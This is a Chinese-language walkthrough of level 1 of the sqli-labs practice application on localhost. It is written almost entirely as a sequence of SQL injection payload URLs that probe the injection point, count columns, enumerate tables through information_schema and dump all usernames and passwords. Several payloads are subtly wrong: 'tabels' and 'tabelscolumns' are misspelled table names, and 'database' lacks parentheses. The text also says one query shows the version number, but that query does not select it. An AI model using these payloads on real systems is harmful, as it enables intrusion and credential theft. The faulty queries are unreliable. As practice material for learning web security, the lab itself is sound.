sqli-labs-master第一关
注:%23为#的url编码
第一关比较简单,在最上面的url后面手动输入http://localhost/sql/sqli-labs-master/Less-1/?id=1可以直接看到用户名密码,同样http://localhost/sql/sqli-labs-master/Less-1/?id=2可以看到另一个用户名密码,以此类推。但是呢,我们要用手动注入查询数据库,一步一步的来获取
第一步
先测试出有注入点 在url中 输入http://localhost/sql/sqli-labs-master/Less-1/?id=1'
我们可以看到页面中出现sql语句报错,接下来用 http://localhost/sql/sqli-labs-master/Less-1/?id=1' and 1 = 1 %23 看到回显正常
用 http://localhost/sql/sqli-labs-master/Less-1/?id=1' and 1 = 2 %23 没回显,也就是回显失败,证明有注入点
接下来就是猜测字段(表有几列)
输入 http://localhost/sql/sqli-labs-master/Less-1/?id=1' order by 1 %23 看到回显正常
提高两个 http://localhost/sql/sqli-labs-master/Less-1/?id=1' order by 3 %23 回显正常
再加一个 http://localhost/sql/sqli-labs-master/Less-1/?id=1' order by 4 %23 回显失败,所以有三个字段
用union查询语句查询报错回显位置 http://localhost/sql/sqli-labs-master/Less-1/?id=1' and 1 = 2 union select 1,2,3 %23
显示报错回显在第二、第三字段
注:and 1 = 2 是让前面为假,也可以不用and 1 = 2 ,用 ?id = -1' http://localhost/sql/sqli-labs-master/Less-1/?id=-1' union select 1,2,3 %23 效果是一样的
查询数据库版本号、名称 http://localhost/sql/sqli-labs-master/Less-1/?id=1' and 1 = 2 union select 1,database,3 %23
查看到当前数据库版本号和名称
查看数据库中的表的名称信息 http://localhost/sql/sqli-labs-master/Less-1/?id=1' and 1 = 2 union select 1,2,group_concat(table_name) from information_schema.tabels where table_schema = 'security'; %23
可以看到数据库中所有表的名称
查看表users中的信息 http://localhost/sql/sqli-labs-master/Less-1/?id=1' and 1 = 2 union select 1,2,group_concat(column_name) from information_schema.tabelscolumns where table_name = 'users'; %23
注:group_concat函数是将查询会显得结果用逗号隔开显示
看到users表中的列的名称,看到有 username 和 password 两列
查看并列出 username 和 password 两列中的所有信息
http://localhost/sql/sqli-labs-master/Less-1/?id=1' and 1 = 2 union select 1,group_concat(username),group_concat(password) from users %23
现在自己想要的用户名和密码都已经列出,大功告成,Your Login和Your Password 逐一对应即可
本文章为自己搭建实验环境做过的,参考过一些资料,希望对你有帮助